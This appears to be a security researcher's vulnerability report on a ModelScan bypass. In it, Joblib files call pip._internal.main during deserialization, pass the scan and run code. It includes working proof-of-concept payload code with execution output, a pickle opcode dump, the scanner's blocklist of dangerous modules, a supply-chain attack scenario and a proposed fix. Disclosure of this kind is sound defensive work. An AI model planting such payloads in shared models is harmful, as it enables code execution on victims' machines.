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---
license: mit
---
# HUNTR MFV SUBMISSION - ModelScan Joblib pip._internal Bypass
## Target Format
**Joblib**
## Title
**ModelScan Scanner Bypass via pip._internal.main() in Joblib Files - Missing Blocklist Entry**
## HuggingFace PoC
**https://huggingface.co/kfoughali/mfv-modelscan-joblib1**
Files:
- `scanner_bypass_poc.joblib` (64 bytes) - Safe demo: displays `pip install --help`
- `scanner_bypass_rce.joblib` (103 bytes) - RCE proof: downloads a file to `/tmp/joblib_rce_proof/`
---
## Vulnerability Summary
**Tested on:** ModelScan v0.8.7
ModelScan does not include `pip` or `pip._internal` in its CRITICAL blocklist for unsafe Pickle operations. Since Joblib uses Pickle internally for serialization, this gap directly affects `.joblib` files.
A malicious Joblib file can:
- Pass ModelScan security checks, returning "No issues found"
- Execute arbitrary code during deserialization via `pip._internal.main(...)`
- Enable supply-chain attacks, since malicious sklearn models appear harmless
This is the same vulnerability class as **CVE-2025-1716** (picklescan `pip.main()` bypass), but affects ModelScan.
---
## Proof of Bypass
### ModelScan Output (Both Files)
```
$ modelscan --version
modelscan, version 0.8.7
$ modelscan --path scanner_bypass_poc.joblib
Scanning scanner_bypass_poc.joblib using modelscan.scanners.PickleUnsafeOpScan
--- Summary ---
No issues were found!
$ modelscan --path scanner_bypass_rce.joblib
Scanning scanner_bypass_rce.joblib using modelscan.scanners.PickleUnsafeOpScan
--- Summary ---
No issues were found!
```
---
## Payloads
### PoC Payload (`scanner_bypass_poc.joblib`)
**Purpose:** Safe demonstration - displays pip install help text
```python
import joblib
class PipBypassPoC:
def __reduce__(self):
from pip._internal import main
return main, (['install', '--help'],)
joblib.dump(PipBypassPoC(), 'scanner_bypass_poc.joblib')
```
**Execution:**
```
$ python3 -c "import joblib; joblib.load('scanner_bypass_poc.joblib')"
Usage:
pip install [options] <requirement specifier> [package-index-options] ...
pip install [options] -r <requirements file> [package-index-options] ...
...
```
---
### RCE Payload (`scanner_bypass_rce.joblib`)
**Purpose:** Proves arbitrary code execution by downloading a file
```python
import joblib
class PipBypassRCE:
def __reduce__(self):
from pip._internal import main
return main, (['download', '--no-deps', '-d', '/tmp/joblib_rce_proof', 'pip'],)
joblib.dump(PipBypassRCE(), 'scanner_bypass_rce.joblib')
```
**Execution:**
```
$ rm -rf /tmp/joblib_rce_proof
$ python3 -c "import joblib; joblib.load('scanner_bypass_rce.joblib')"
Collecting pip
Downloading pip-25.3-py3-none-any.whl (1.8 MB)
Saved /tmp/joblib_rce_proof/pip-25.3-py3-none-any.whl
Successfully downloaded pip
$ ls /tmp/joblib_rce_proof/
pip-25.3-py3-none-any.whl
```
**Code executes despite "No issues found" scan result.**
---
## Pickle Opcodes (RCE Variant)
```
0: \x80 PROTO 4
11: \x8c SHORT_BINUNICODE 'pip._internal' <- Module NOT in blocklist
27: \x8c SHORT_BINUNICODE 'main' <- Function to call
34: \x93 STACK_GLOBAL <- pip._internal.main
39: \x8c SHORT_BINUNICODE 'download'
50: \x8c SHORT_BINUNICODE '--no-deps'
62: \x8c SHORT_BINUNICODE '-d'
67: \x8c SHORT_BINUNICODE '/tmp/joblib_rce_proof'
91: \x8c SHORT_BINUNICODE 'pip'
100: R REDUCE <- Execute pip._internal.main([...])
```
---
## ModelScan Blocklist Analysis
Current blocklist in `modelscan/settings.py` - **pip is MISSING**:
```python
"CRITICAL": {
"__builtin__": ["eval", "compile", "getattr", "apply", "exec", "open", "breakpoint", "__import__"],
"builtins": ["eval", "compile", "getattr", "apply", "exec", "open", "breakpoint", "__import__"],
"runpy": "*",
"os": "*",
"nt": "*",
"posix": "*",
"socket": "*",
"subprocess": "*",
"sys": "*",
"operator": ["attrgetter"],
"pty": "*",
"pickle": "*",
"_pickle": "*",
"bdb": "*",
"pdb": "*",
"shutil": "*",
"asyncio": "*",
# "pip" is NOT here!
# "pip._internal" is NOT here!
},
```
---
## Attack Scenario
1. Attacker creates malicious PyPI package with RCE in build hooks:
```python
# pyproject.toml or setup.py hooks can execute arbitrary code
# Example: exfiltrate credentials, establish reverse shell, etc.
```
2. Attacker creates Joblib file calling `pip._internal.main(['install', 'malicious-pkg'])`
3. Joblib file passes ModelScan: **"No issues found! 🎉"**
4. Victim loads sklearn model: `joblib.load('model.joblib')`
5. **RCE achieved** via pip install hooks
---
## Impact
| Impact | Description |
|--------|-------------|
| **Scanner Bypass** | ModelScan 0.8.7 reports "No issues found" |
| **Code Execution** | Arbitrary code via pip install/download hooks |
| **Supply Chain** | Malicious sklearn models appear safe |
| **Wide Scope** | Affects all Joblib/sklearn model pipelines using ModelScan |
---
## Recommended Fix (Scanner-Side)
Add `pip` and `pip._internal` to the CRITICAL blocklist in `modelscan/settings.py`:
```python
"CRITICAL": {
"__builtin__": ["eval", "compile", "getattr", "apply", "exec", "open", "breakpoint", "__import__"],
"builtins": ["eval", "compile", "getattr", "apply", "exec", "open", "breakpoint", "__import__"],
"runpy": "*",
"os": "*",
"nt": "*",
"posix": "*",
"socket": "*",
"subprocess": "*",
"sys": "*",
"operator": ["attrgetter"],
"pty": "*",
"pickle": "*",
"_pickle": "*",
"bdb": "*",
"pdb": "*",
"shutil": "*",
"asyncio": "*",
"pip": "*", # <-- ADD
"pip._internal": "*", # <-- ADD
},
```
**Why this is the correct fix:**
1. Aligns with the fix applied in picklescan for CVE-2025-1716
2. Treats `pip._internal.main()` as a dangerous callable
3. Blocks both `pip.main` and `pip._internal.main` variants
---
## Why This Is Distinct from a Pickle Submission
| Aspect | Pickle (.pkl) | Joblib (.joblib) |
|--------|---------------|------------------|
| Scanner code path | `PickleUnsafeOpScan` on `.pkl` | `PickleUnsafeOpScan` on `.joblib` |
| Format detection | `SupportedModelFormats.PICKLE` | `SupportedModelFormats.JOBLIB` |
| Primary use case | Generic Python objects | **sklearn models** (ML industry standard) |
| Supply chain impact | General serialization | **ML model pipelines** specifically |
ModelScan explicitly supports Joblib as a distinct format. The `pip._internal` gap affects this scanner path.
---
## References
- CVE-2025-1716: https://nvd.nist.gov/vuln/detail/CVE-2025-1716
- GHSA-655q-fx9r-782v: https://github.com/advisories/GHSA-655q-fx9r-782v
- ModelScan: https://github.com/protectai/modelscan
---
**Researcher:** Karim Foughali
**Email:** kfoughali@dzlaws.org
**Date:** January 17th 2026 **